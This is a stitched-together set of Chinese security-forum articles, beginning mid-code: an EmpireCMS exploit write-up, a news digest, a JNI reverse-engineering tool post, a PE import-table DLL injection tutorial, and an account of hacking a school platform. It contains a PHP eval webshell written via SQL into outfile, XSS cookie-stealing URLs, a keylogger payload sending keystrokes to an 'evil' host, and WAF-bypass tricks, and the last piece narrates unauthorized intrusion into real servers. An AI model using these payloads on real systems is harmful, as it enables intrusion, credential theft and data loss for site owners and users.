$ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;
}
$num++;
}
unset($sql);
foreach($ret as $query)
{
$query=trim($query);
if($query)
{
$empire->query($query);
}
}
}
#### payload
用`select ... into
outfile`语句写入php一句话木马，但是这里需要知道存放的绝对路径，这里可以使用一个`phpinfo()`用第一种方法传上去
<?php file_put_contents("getshell.php","<?php phpinfo();?>");?>
访问即可打出`phpinfo`
这里只是找到了php的绝对路径，还不是web所存储的路径，这时候查看源代码搜索`DOCUMENT_ROOT`查询网站所处的绝对路径
用`select ... into outfile`语句写入php一句话木马
select '<?php @eval($_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php'
看到上传已经成功
访问一下是存在的
直接上蚁剑连接即可
#### 实战中的一些坑
我们知道`secure_file_priv`这个参数在mysql的配置文件里起到的是能否写入的作用，当`secure_file_priv
=`为空，则可以写入sql语句到数据库，当`secure_file_priv =
NULL`，则不可以往数据库里写sql语句，当`secure_file_priv = /xxx`，一个指定目录的时候，就只能往这个指定的目录里面写东西
这个地方很明显报错就是限制数据库的导入跟导出，这里很明显判断`secure_file_priv =
NULL`，所以当实战中出现在这种情况下是不能够用这种方法的
如果在本地可以修改或添加`secure_file_priv =`这一行语句
### 后台xss
#### 原理分析
漏洞类型：反射型xss
漏洞文件：`localhost/EmpireCMS/e/admin/openpage/AdminPage.php`
漏洞原理：该漏洞是由于代码只使用htmlspecialchars进行实体编码过滤，而且参数用的是ENT_QUOTES(编码双引号和单引号),还有addslashes函数处理，但是没有对任何恶意关键字进行过滤，从而导致攻击者使用别的关键字进行攻击
源码分析
主要漏洞代码位置`localhost/EmpireCMS/e/admin/openpage/AdminPage.php`
$leftfile=hRepPostStr($_GET['leftfile'],1);
$mainfile=hRepPostStr($_GET['mainfile'],1);
利用`hRepPostStr`函数进行过滤，跳转到该函数的定义如下
function hRepPostStr($val,$ecms=0,$phck=0){ if($phck==1) { CkPostStrCharYh($val); } if($ecms==1) { $val=ehtmlspecialchars($val,ENT_QUOTES); } CkPostStrChar($val); $val=AddAddsData($val); return $val;}
用`ehtmlspecialchars`函数进行HTML实体编码过滤，其中`ENT_QUOTES` \- 编码双引号和单引号。
function ehtmlspecialchars($val,$flags=ENT_COMPAT){ global $ecms_config; if(PHP_VERSION>='5.4.0') { if($ecms_config['sets']['pagechar']=='utf-8') { $char='UTF-8'; } else { $char='ISO-8859-1'; } $val=htmlspecialchars($val,$flags,$char); } else { $val=htmlspecialchars($val,$flags); } return $val;}
要利用`htmlspecialchars`函数把字符转换为HTML实体
用`CkPostStrChar`函数对参数进行处理
function CkPostStrChar($val){ if(substr($val,-1)=="\\") { exit(); }}
获取字符末端第一个开始的字符串为\，则退出函数
用`AddAddsData`函数对参数进行处理
function AddAddsData($data){ if(!MAGIC_QUOTES_GPC) { $data=addslashes($data); } return $data;}
如果没有开启`MAGIC_QUOTES_GPC`，则利用`addslashes`函数进行转义
`addslashes()`函数返回在预定义字符之前添加反斜杠的字符串
网页输出
然而输出的位置是在iframe标签的src里，这意味着之前的过滤都没有什么用。iframe标签可以执行js代码，因此可以利用`javascript:alert(/xss/)`触发xss
#### payload
payload如下：
192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(/xss/)
其中ehash是随机生成的，在登录时可以看到`ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf`，如果缺少这个hash值，则会提示非法来源
获取cookie信息payload
192.168.10.3/EmpireCMS/e/admin/openpage/AdminPage.php?ehash_3ZvP9=dQ7ordM5PCqKDgSmvkDf&mainfile=javascript:alert(document.cookie)
### 前台xss
#### 原理分析
漏洞类型：反射型xss
漏洞文件：`localhost/EmpireCMS/e/ViewImg/index.html`
漏洞原理：url地址经过Request函数处理之后,把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值
主要漏洞代码位置`localhost/upload/e/ViewImg/index.html`
if(Request("url")!=0){ document.write("<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" onload=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">"); }
通过Request函数获取地址栏的url参数,并作为img和a标签的src属性和href属性,然后经过`document.write`输出到页面。
转到request函数定义
function Request(sName){ /* get last loc. of ? right: find first loc. of sName +2 retrieve value before next & */ var sURL = new String(window.location); var iQMark= sURL.lastIndexOf('?'); var iLensName=sName.length; //retrieve loc. of sName var iStart = sURL.indexOf('?' + sName +'=') //limitation 1 if (iStart==-1) {//not found at start iStart = sURL.indexOf('&' + sName +'=')//limitation 1 if (iStart==-1) {//not found at end return 0; //not found } } iStart = iStart + + iLensName + 2; var iTemp= sURL.indexOf('&',iStart); //next pair start if (iTemp ==-1) {//EOF iTemp=sURL.length; } return sURL.slice(iStart,iTemp ) ; sURL=null;//destroy String}
通过`window.location`获取当前url地址,根据传入的url参数,获取当前参数的起始位置和结束位置
#### payload
url地址经过Request函数处理之后,然后把url地址中的参数和值部分直接拼接当作a标签的href属性的值和img标签的src标签的值
payload如下：
http://localhost/upload/e/ViewImg/index.html?url=javascript:alert(document.cookie)
payload解析：
当浏览器载入一个Javascript
URL时，它会执行URL中所包含的Javascript代码，并且使用最后一个Javascript语句或表达式的值，转换为一个字符串，作为新载入的文档的内容显示。
javascript:伪协议可以和HTML属性一起使用，该属性的值也应该是一个URL。一个超链接的href属性就满足这种条件。当用户点击一个这样的链接，指定的Javascript代码就会执行。在这种情况下，Javascript
URL本质上是一个onclick事件句柄的替代。
点击图片触发xss
得到网页cookie | 社区文章 |
# 【知识】7月26日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：picoCTF Write-up：通过格式化字符串漏洞绕过ASLR、通过ldapsearch dump
LAPS密码、通过Frida绕过Android SSL
Pinning、使用ESP8266模块进行身份验证攻击、探索基于语音的身份认证系统命令注入、hackerone官博分享如何进行渗透测试前期的信息收集
******
**
**
**资讯类：**
IBM启动物联网、车联网安全测试服务
<http://www.securityweek.com/ibm-launches-security-testing-services-cars-iot>
【国际资讯】英国男子认罪，利用Mirai僵尸网络攻击德国电信近百万台路由器
<http://bobao.360.cn/news/detail/4238.html>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
picoCTF Write-up：通过格式化字符串漏洞绕过ASLR
<https://0x00sec.org/t/picoctf-write-up-bypassing-aslr-via-format-string-bug/1920>
通过ldapsearch dump LAPS密码
<https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/>
通过Frida绕过Android SSL Pinning
<https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/>
使用ESP8266模块进行身份验证攻击
<https://medium.com/@tomac/deauthentication-attack-and-other-wifi-hacks-using-an-esp8266-module-14f9142b063d>
Open Sourcing JA3：用于恶意软件检测的SSL/TLS客户端指纹识别项目
<https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41>
探索基于语音的身份认证系统命令注入
<https://www.youtube.com/playlist?list=PLl6DAJhNeWAmOcGC38tLlFGdevLniiUmG>
元数据：黑客最好的朋友
<https://blog.sweepatic.com/metadata-hackers-best-friend/>
针对有双因子认证站点的钓鱼手段
<http://www.openskycorp.com/resource-center/blog/phishing-way-past-multi-factor-authentication/>
hackerone官博分享如何进行渗透测试前期的信息收集
<https://www.hackerone.com/blog/how-to-recon-and-content-discovery>
Kali Linux官方书籍
<https://kali.training/downloads/Kali_Revealed_1st_edition.pdf>
Unsupervised Clustering Under Temporal Feature Volatility in Network Stack
Fingerprinting
[http://irl.cs.tamu.edu/people/zain/papers/sigmetrics2016.pdf](http://irl.cs.tamu.edu/people/zain/papers/sigmetrics2016.pdf)
XSS Keylogger
<img src=x onerror='document.onkeypress=function(e){fetch("//evil?k="+String.fromCharCode(e.which))},this.remove();'>
from [@i_bo0om](https://twitter.com/@i_bo0om) | 社区文章 |
**作者：evilpan
原文链接：<https://evilpan.com/2020/10/07/jni-helper/>**
国庆几天在家写了个用于辅助 JNI 接口逆向分析的工具，同时支持 Ghidra、IDA 以及
Radare2。本文即是对这个工具的简单介绍，以及一些编写插件的体验记录。
# 前言
平时进行安卓逆向时，一个常见的场景就是目标把关键逻辑放到 Native 代码中，使用 JNI
接口进行实现。进行分析一般是把对应的动态库`so`拖进逆向工具中，然后定位具体的 Native 实现，再对参数类型、JNI
调用等逻辑进行一些优化方便对反汇编/反编译代码的理解。比如对于大家常用的 IDA-Pro 就是 `Parse C Header` 加载
`jni_all.h`，然后修改 JNI 接口的函数原型和变量结构。
这对于少量代码来说不是大问题，但显然是一种重复性的劳动，因此我们可以对这个过程进行一定的自动化。目前已经有了一些优秀的项目，比如 aryx 的
[JNIAnalyzer](https://github.com/Ayrx/JNIAnalyzer)，这是一个 Ghidra 插件，支持从 apk 中提取
JNI 接口并批量修改动态库的函数原型。但是这些项目都存在一些问题，而且缺乏拓展性，所以为了方便自己使用就构建了 [JNI
Helper](https://github.com/evilpan/jni_helper) 项目，支持各类日常使用的逆向工具。
# JNI Helper
该项目的详细介绍可以参考 [Github](https://github.com/evilpan/jni_helper)，其主要特性有下面这些:
* 基于 [Jadx](https://github.com/skylot/jadx) api 提供一个独立的 Java 可执行程序 `JadxFindJNI.jar`，用来分析 apk 并提取其中的 JNI 接口信息，并产出一个 JSON 文件；
* 同时支持 C 和 C++ 类型的 JNI 接口实现；
* 支持重载的 JNI 函数；
* 分别实现了 Ghidra、IDA 和 Radare2 的插件用来加载 `JadxFindJNI.jar` 生成的 JSON 文件；
## JadxFindJNI.jar
得益于 Jadx 项目整洁的函数接口，我们可以很方便在其基础上实现自己的功能，如下所示:
JadxArgs jadxArgs = new JadxArgs(); jadxArgs.setDebugInfo(false); jadxArgs.setSkipResources(true); jadxArgs.getInputFiles().add(new File(args[0])); JadxDecompiler jadx = new JadxDecompiler(jadxArgs); jadx.load();
我们需要实现的主要功能就是调用 Jadx 分析目标 apk，然后迭代每个类和其中的 **native** 方法。只是有一些需要注意的点，比如对于重载的
JNI 函数。根据 [Oracle
的文档](https://docs.oracle.com/javase/1.5.0/docs/guide/jni/spec/design.html)，JNI
native 函数的命名由以下方式组成:
* 以`Java_`为前缀；
* 格式化的类名完整路径；
* 下划线分隔符`_`；
* 格式化的函数名称；
* 对于重载函数，需要加双下划线`__`并跟着参数签名；
* 对于特殊的字符需要进行转义，比如`_`、`;`和`]`需要分别转义成`_1`、`_2`和`_3`等；
对于使用者而言，无需关心内部细节:
$ java -jar JadxFindJNI/JadxFindJNI.jar Usage: JadxFindJNI.jar <file.apk> <output.json>
我在仓库中上传了一个编译好的 [demo/app-debug.apk](https://github.com/evilpan/jni_helper/blob/master/demo/app-debug.apk)，所生成的 JNI 签名信息如下:
{ "Java_com_evilpan_demojni_MainActivity_testOverload__I": { "argumentSignature": "I", "argumentTypes": [ "jint" ], "returnType": "jint", "isStatic": false }, "Java_com_evilpan_demojni_MainActivity_testStatic": { "argumentSignature": "I", "argumentTypes": [ "jint" ], "returnType": "jint", "isStatic": true }, "Java_com_evilpan_demojni_MainActivity_stringFromJNI": { "argumentSignature": "", "argumentTypes": [], "returnType": "jstring", "isStatic": false }, "Java_com_evilpan_demojni_MainActivity_c_1testArray": { "argumentSignature": "[I", "argumentTypes": [ "jintArray" ], "returnType": "void", "isStatic": false }, ... }
该 JSON 函数签名文件以 JNI 函数的 native 名称为键，可以方便地在各种语言中反序列化为哈希表，从而方便函数的查找。
`JadxFindJNI.jar`可以自己编译，也可以使用[打包好的版本](https://github.com/evilpan/jni_helper/releases/)。
## 实现效果
只要有了函数签名信息，就很方便在各种逆向工具中进行自动化处理了，这里选取的是我比较常用的几个逆向工具，Ghidra、IDA 和
Radare2。这几个工具的插件都是使用 Python 编写的，感兴趣可以直接查看源码，优化前后的反编译代码如下图所示。
Ghidra 优化前:
Ghidra 优化后:
IDA-Pro 优化前:
IDA-Pro 优化后:
详见 <https://github.com/evilpan/jni_helper>
# 插件编写体验
在实现 [JNI Helper](https://github.com/evilpan/jni_helper)
的过程中，摸索了一遍不同逆向工具的拓展功能，所以这里谈谈编写过程中的一些感受，正好也可以作为一次横向对比。
## Ghidra
Ghidra 作为 NSA
出品的工具，拥有丰富的内部资料，开发文档非常整洁规范。虽然说是机缘巧合之下泄露出来才开源的版本，但其质量可以和许多商业工具相媲美，甚至在很多方面还稍胜一筹。使用下来发现
Ghidra 有很多在线文档和资料，可以很方便地实现指定功能，这个跟后面的两个工具可以说形成鲜明对比。
由于 Ghidra 是使用 Java 进行开发的，因此一个明显的问题是运行分析速度相对较慢。这个问题我的一个解决办法是通过
`headlessAnalyzer` 在性能较好的云服务器后台对目标先进行分析，导出 `.gzf` 项目文件再在本地导入。本地的 Ghidra 插件通常使用
Java 进行开发，但可以通过 JPython 使用 Python 脚本编写。
得益于开源软件的特性，开源社区中对于 Ghidra
插件和资料的贡献一直呈爆发式增长。当然这也是因为软件本身投入了很多国家经费被打磨过很长时间，另外一个开源逆向工具 Radare2 就相形见绌了，后面会说到。
一些比较有用的 Ghidra 相关参考资料如下:
* <https://ghidra.re/ghidra_docs/api/>
* <https://ghidra.re/online-courses/>
* <https://github.com/cetfor/GhidraSnippets>
* <https://github.com/AllsafeCyberSecurity/awesome-ghidra>
## IDA Pro
老牌逆向工具，在 Ghidra 出来之前已经制霸了十几年，因此也拥有丰富的插件生态。从使用者的角度来说，IDA
无疑是一个优秀的选择，其反编译器可以给出非常接近源码的高层伪代码，极大减少了逆向工程师的工作量。缺点也就一个:
太贵。每年几千美刀的授权费用对于个人逆向爱好者而言并不是一个小数目，而且还分别针对不同的指令集架构进行收费。之前还满心期待家庭版的 [IDA
Home](https://www.hex-rays.com/products/idahome/)，365美元一年，但是没有 decompiler、没有
SDK、还不能商业使用，于是我又默默关闭页面并掏出了 [Binary
Ninja](https://rehex.ninja/posts/comparision-of-re-tools/)。
因此要有一个舒适的逆向体验，还是需要一个 `IDA Pro`。从插件开发者的角度来说，IDA Pro
本身确实提供了接口文档，而且由于年代久远也积累了许多插件生态，但是实际使用下来还是有些卡壳。举例来说，在写插件的过程中遇到一个需求，比如判断`jni_all.h`这个头文件是否已经加载过，即某个结构体是否已经定义，在文档中说是使用下面的
idapython 接口:
idaapi.get_struc_id('JNIInvokeInterface_') != idaapi.BADADDR
可是实际上这样即便 JNI 接口已经定义，返回也是 BADADDR 。最终实现还是通过一种比较取巧的方法，即根据下面的语句是否抛出异常来判断:
idc.parse_decl('JNIInvokeInterface_ *if', idc.PT_SILENT)
类似的问题还有不少，而且很多技巧需要通过阅读其他人的插件代码去了解，对于不熟悉的开发者来说体验并不是太好。下面是一些 IDA 开发相关的资料:
* <https://www.hex-rays.com/products/ida/support/>
* <https://www.hex-rays.com/products/ida/support/tutorials/>
* <https://www.hex-rays.com/products/ida/support/sdkdoc/index.html>
* <https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c>
## Radare2
作为一个骨灰级命令行爱好者，接触 Radare2(r2) 也是顺应自然的选择。最初使用 Radare2
的一个原因是因为其开源，可以在各个平台中使用；另外一个原因是支持 VI 快捷键，省去了我很大的学习成本。虽然一开始以命令行逆向工具为卖点，但也可以配合
[Cutter](https://cutter.re/) 使用。
虽然每次我都狂热推荐使用 r2，但实际上他也有明显的局限性，其中一个是 decompiler 的缺乏。这可以使用一些三方的 decompiler
实现，比如:
* Ghidra Decompiler
* RetDec Decompiler
* r2dec
作为插件开发者，使用的主要是 r2pipe 接口，这个接口实际上是 r2 的命令行参数的管道，所以写插件本质上还是需要通过 r2 的命令实现。说到 r2
的命令，内置的帮助信息可以方便日常使用的查询，用户只需要记得大致的命令类目，比如分析类命令是`a`开头，可以使用`a?`查看所有分析相关的命令，进而可以使用`af?`查看所有和函数分析相关的命令。
虽然和 Ghidra 一样是开源工具，但由于 r2 主要是爱好者去维护，因此投入上的差距也导致了开发进度的差距。在 Github
中可以看到开发者们经常在努力修 bug 以及更新优化代码，但关闭 issue 的速度远跟不上新开 issue
的速度。举一个遇到的例子，我想要修改某个地址对应函数的签名为对应 JNI 函数签名，搜索后发现有几种方法: 一是使用 `afvr/avfn/afvt`
修改变量；二是使用 `tl` (type link)去连接类型；三是使用 `afs` 去直接修改签名信息。可测试下来这几种方式都有问题。其中 `afs`
是最接近我需求的命令了，但是却不支持自定义的类型，而解决这个问题还需要等 r2 项目组将内置 parser 从 `Tcc`迁移到 `tree-sitter`
(见
[issue#17432](https://github.com/radareorg/radare2/issues/17432))。诸如此类的问题也是比较打击插件开发者积极性的，毕竟谁也不想为了一个简单的功能找半天文档发现无法实现。
尽管如此，我还是非常看好 Radare2
的未来，他年岁尚浅，但有很大的拓展性，值得持续保持关注。同时也应该给开发者更多的耐心和支持，如果可以的话，为其添砖加瓦。下面是一些 r2 相关的资料:
* <https://github.com/radareorg/radare2/blob/master/doc/intro.md>
* <https://radare.gitbooks.io/radare2book/content/>
* <https://book.rada.re/>
# 后记
本文主要是分享 [JNI Helper](https://github.com/evilpan/jni_helper) 这个辅助自动化静态逆向分析 JNI
接口的工具，可以在日常安卓逆向时候减少一些重复的劳动。俗话说工欲善其事，必先利其器，在日常中打磨自己的武器库值得投入必要时间，但也要避免陷入盲目造轮子的冲动。另一方面，也记录一下在编写各个逆向工具插件过程中的一些感受。总的来说
Ghidra 的插件编写体验最好，文档丰富且完善，不愧为 NSA 的产品；其次是
IDAPython，虽然有部分文档，但很多都只是一句话带过，想查找某些特定功能需要花费额外时间；而对于
Radare2，虽然是使用管道来进行批处理，但基本的交互都可以支持，只是部分功能实现尚不完善，需要给开发者更多的支持和耐心，毕竟大家都是花费着自己的业余时间和精力去维护和贡献。希望能有更多人投入到
Radare2 的社区中，哪怕只是贡献一点文档，写一写 writeup，对开源社区的帮助也是很大的。
# 参考链接
* [JNI 文档](https://docs.oracle.com/javase/1.5.0/docs/guide/jni/spec/design.html)
* [skylot/jadx](https://github.com/skylot/jadx)
* [Ayrx/JNIAnalyzer](https://github.com/Ayrx/JNIAnalyzer)
* <https://github.com/evilpan/jni_helper>
* <https://evilpan.com/2020/10/07/jni-helper/>
* * * | 社区文章 |
# 静态注入PE导入表
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0.说明
编译器：vc++6.0
编写语言：c
全代码及测试案例的链接在最后面
## 1.导入表注入的前提
### （1）注入
`注入`可以理解为将自己的代码添加到注入对象exe的内存（运行前后都可以），目的就是让注入对象exe在运行时能调用我们注入的代码。
### （2）系统读取导入表
系统显示读取导入表结构，读取PE导入表中Name对应的DLL名，然后判断OriginalFirstAddress和FirstAddress对应的INT表和IAT表是否都有一个及以上的值，如果是，就加载对应DLL进内存，然后获取导入函数的地址。
### （3）导入表注入假想
我们可以利用系统读取导入表的过程，我们自己写一个DLL，只需写一个导出函数，然后给exe构建一个导入表结构，同时构造对应的INT表和IAT表。就成功让exe加载我们的DLL到内存中。
## 2.导入表注入对应的DLL
### （1）dll
要向实现导入表注入，必须先了解DLL的入口函数，类似c的main函数，dll也会有DllMain函数。
可以看下这篇文章：
[9.DLL的入口函数DllMain函数](//blog.csdn.net/qq_33757398/article/details/82230360?ops_request_misc=%7B%22request%5Fid%22%3A%22159475416019725219945207%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=159475416019725219945207&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v3~pc_rank_v2-2-82230360.first_rank_ecpm_v3_pc_rank_v2&utm_term=%E8%B0%83%E7%94%A8DLL%E5%8A%A0%E8%BD%BD%E5%85%A5%E5%8F%A3%E5%87%BD%E6%95%B0))
大概就是，DLL在被调用或关闭的时候，都会返回一个有对应且固定的值，且运行DllMain函数，同时这个值也是DllMain函数的一个参数。
我们利用这个参数可以通过`switch-case`语句，实现子函数的调用。
而我们要实现注入的代码，就写到这个子函数里。
dll大概这样写：（dll名我写的inject.dll）
然后在对应.h头文件中声明导出函数
然后就会生成导入表注入所需的dll。
### （2）inject.dll的C源码
//注入函数的内容我们可以自己写
void initialization()//注入函数，用于 进程开始时 我们主动调用
{
MessageBox(0 , "initialization" , "1" , MB_OK);
}
void destroy()//注入函数，用于 进程结束时 我们主动调用
{
MessageBox(0 , "destroy" , "2" , MB_OK);
}
void ImportFunction()//要导出的函数
{
MessageBox(0 , "ImportFunction" , "3" , MB_OK);
}
BOOL APIENTRY DllMain( HMODULE hModule , DWORD ul_reason_for_call , LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://进程创建的时候调用
initialization();
break;
case DLL_THREAD_ATTACH://线程创建的时候调用
break;
case DLL_THREAD_DETACH://线程结束的时候调用
break;
case DLL_PROCESS_DETACH://进程结束的时候调用
destroy();
break;
}
return TRUE;
}
//头文件中声明导出函数。
extern "C" _declspec(dllexport) void ImportFunction();
## 3.构建新的导入表的过程
### （1）过程
由于我们不确定导入表末尾是否有足够的空间让我们再添加一个20字节的导入表（且保留末尾20字节0的空导入表作为结尾），我们可以先将导入表给移动到新建节区（保证构建导入表足够的空间）。
`ps`：
1. 可以不用移动INT表。所以导入表的内容都不用改。
2. 新增节区必须同时包含可读可写两个属性，才能正常解析导入表和修正IAT表。
下面是我写的导入表注入的步骤
构建完成后，我们就可以直接将dll放入注入对象exe同一文件夹，运行exe，即可成功调用。
**说明**
：也可以不用新建节区，就像前面说的，不过是为了防止导入表后续没有足够的空间让我们添加20字节数据，如果确定他又足够的空间，那就不需要新建节区再移动懂导入表了，直接在原始位置后面添加导入表即可。
### （2）C源代码
//功能：导入表注入
//参数：指向文件内存的指针
//返回值：指向导入表注入后的PE内存的指针
LPVOID ImportDescriptorInjection( LPVOID pFileBuffer )
{
DWORD Offset;//复制导入表时的偏移等于新增节区前的文件大小
DWORD SIZEOF_INT = 0;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS32 pNtHeader = NULL;
PIMAGE_FILE_HEADER pFileHeader = NULL;
PIMAGE_OPTIONAL_HEADER pOptionHeader = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
PDWORD pThunkINT = NULL;//INT表
PDWORD pThunkIAT = NULL;//IAT表
PIMAGE_IMPORT_BY_NAME pImportByName = NULL;
//第一步： 新增一个节区（注意新增节区的大小是不装的下导入表）（注意新增节区属性：可读可写(0xC0000000)）
pFileBuffer = IncreaseNewSection( pFileBuffer , 0x3000 );//第二个参数是新增节的大小
//初始化PE头
pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer;
pNtHeader = (PIMAGE_NT_HEADERS32)( (DWORD)pDosHeader + pDosHeader->e_lfanew );
pFileHeader = (PIMAGE_FILE_HEADER)( (DWORD)pNtHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER)( (DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)pOptionHeader->DataDirectory;
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)( (DWORD)pDosHeader + ConvertRvaToFoa(pDataDirectory[1].VirtualAddress , pFileBuffer ) );
//初始化偏移Offset
Offset = FileSize;
//第二步： 按照目录项里的VirtualAddress将导入表移动到新增节区
//同时修改VirtualAddress，并且Size增加一个导入表结构体大小（20字节）
memcpy((PDWORD)( (DWORD)pDosHeader + Offset) , (PDWORD)pImportDescriptor , pDataDirectory[1].Size );
pDataDirectory[1].VirtualAddress = ConvertFoaToRva(Offset , pFileBuffer );
pDataDirectory[1].Size += sizeof(IMAGE_IMPORT_DESCRIPTOR);
//修改偏移
Offset += pDataDirectory[1].Size ;
//初始化指向导入表的指针
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)( (DWORD)pDosHeader + ConvertRvaToFoa( pDataDirectory[1].VirtualAddress , pFileBuffer ) );
//第三步： 挨着最后一个导入表构建一个新的导入表（先遍历导入表，使指针指向最后一个空导入表）
//（至少要有一个真实存在的导入函数，系统才会解析
//并且导入函数末尾要留四字节0做为结尾符）
while( pImportDescriptor->Name )
pImportDescriptor++;
//第四步： 挨着导入表构建INT表（结尾留4字节0），修改对应的OriginalFirstThunk
pImportDescriptor->OriginalFirstThunk = ConvertFoaToRva( Offset , pFileBuffer );
//修改INT表内容
pThunkINT = (PDWORD)( (DWORD)pDosHeader + Offset);
Offset += 8;//8个自己等于4个字节的OriginFirstThunk+4个末尾字节。
*pThunkINT = ConvertFoaToRva( Offset , pFileBuffer );
//粘贴对应的函数名结构体
pImportByName = (PIMAGE_IMPORT_BY_NAME)( (DWORD)pDosHeader + Offset);
strcpy( (PBYTE)&(pImportByName->Name) , "ImportFunction");
//修改偏移
Offset += 2 + strlen( (PBYTE)&(pImportByName->Name) ) + 1;//名字前还有个序号占两个字节。
//第五步： 在其后复制INT表给IAT表（结尾留4字节0）
pThunkIAT = (PDWORD)( (DWORD)pDosHeader + Offset);
*pThunkIAT = *pThunkINT;
//修改对应的FirstThunk
pImportDescriptor->FirstThunk = ConvertFoaToRva( Offset , pFileBuffer);
//修改偏移
Offset += 8;
//第六步： 在其后填写dll的名称，对应修改Name（RVA）
strcpy( (PBYTE)( (DWORD)pDosHeader + Offset ) , "inject.dll");
pImportDescriptor->Name = ConvertFoaToRva( Offset , pFileBuffer);
return pFileBuffer ;
}
## 4.全代码演示
### （1）演示
这里有个helloworld小程序
然后运行注入程序（保证要注入的dll与注入程序在同一文件夹）、输入要被注入程序地址
执行之后，在`hello.exe`小程序的目录里多出了注入的dll以及一个新的被注入的exe。
运行第二个`hello_New.exe`，即可演示被注入之后的样子
打开时第一时间：
结束时第一时间
成功！
### （2）全代码及测试案例
> 链接：<https://pan.baidu.com/s/1lGCDAxDLBfgsckoGzG0qpQ>
> 提取码：vo4u | 社区文章 |
**前言**
这个说来话长,先是学弟发现了弱口令,然后有可恶的waf，然后一起来绕一波,然后还有一波番外情节,先来描述一下番外情结
**番外篇**
在渗透这个系统的过程中,我抓包在js发现了被注释掉的另外一个网站，手滑顺手访问之,发现竟然和我学校的这个平台一模一样,因为学校有waf所以我就先搞这个一样的平台，同样弱口令进入后台，任意文件上传，getshell
一气呵成 然后 绕了bypassdisable 用的是
<https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD> 这个大哥的脚本
这位大哥我是真的佩服 他在freebuf发的文章我也全部看过,真的厉害 回到正题
getshell后我发现这竟然是运维的服务器,后面提了一波权,非常可惜的是,redis反弹root权限shell回来后,我添加完用户,退出shell
去连ssh 发现密码不对..... 同时 我ps -ef 看了一下 瞬间 我的心中有一万只草泥马飞过,
我想一拳锤爆电脑，....redis被打下线了....我苦苦等待了几天，还是没有上线,......机会一去不复返.............运维的机器上有很多宝藏,以后日站可以找找运维的站,一般都会搭建相同的环境，当然比最后线上的脆弱许多.好了不bb太多了
说正文把
**正文**
进后台后，找到上传点,首先我发现改后缀后重新发包生成的文件的后缀没有变化,我第一次后缀是.jpg 第二次改成.x 但是显示上传成功还是jpg
此时有一丝不安涌上心头
接着我想是不是上图中的moudle值影响 然后我改了moudle值 发包 咦 上传成功 然后返回文件还是jpg 不慌 继续
然后我改了文件内容 在一发包 嘿嘿 返回文件后缀变成 x了 此时
心中已经是胸有成竹(应该是判断了文件内容,一样的话就不变,之前也没注意文件名..只盯着后缀了)
好像已经日下来了一样(没想到后面绕waf饶了好久)......
刚开始的时候 我发现只要一个包被waf检测到 那直接封几个小时.....我擦了...有这么变态的吗.................然后第一天果断放弃
玩玩游戏什么的不香吗.....
第二天晚上 有点无聊 打开burp 打开浏览器 访问之 , 这次我发包学聪明了,之前一发恶意包 然后wating 好久 然后connect reset
然后凉凉,这次我发现只要在waiting 我直接cancle 我发现这样竟然不会马上封我 可能因为 我提前断开连接了? 还是什么原因不知道
这样就可以继续fuzzing了
刚开始尝试就给我当头一棒 waf直接检测 <?php 不能出现php标签, 我想 这玩个屁, 只有用php短标签碰一碰运气了 关于php短标签
我是从百度上找的:
当解析一个文件时，PHP 会寻找起始和结束标记，也就是 <?php 和 ?>，这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP
可以被嵌入到各种不同的文档中去，而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
PHP 也允许使用短标记 <? 和 ?>，但不鼓励使用。只有通过激活 php.ini 中的 short_open_tag 配置指令或者在编译 PHP
时使用了配置选项 --enable-short-tags 时才能使用短标记
因为需要开启一个配置选项,所以说只能是碰碰运气,没想到还真可以,发了个
<? echo 1111; ?>
浏览器访问只有1111出现,嘿嘿，讲到这儿又要说一下怎么绕过 filename='xxxxx.php' 这个地方waf的检测了,也就是如何上传php文件
开始试了几种
'xx.jpg.php' 'xxx.php.jpg' 截断 还有各种后缀 phtml pht php3 php4 Php
filename='xxxxx.jpg'；filename='xxxxx.php'
还有几种奇奇怪怪的模式 等等发现都绕不过 这时候想起来从别人那学到的垃圾数据,你别说,垃圾数据真给力,我生成了30w个1,发包!
一发入魂,成功让waf崩溃或者说waf对filename的长度没有处理什么的 如下图:
接下来继续说php文件的内容如何绕过waf,经过漫长的尝试我发现 eval() 不能出现 而且很多函数 比如 file_get_contents()
都是不能直接出现的 不过有一些函数可以通过
$a="file_"+"get_"+"contents"; $a();
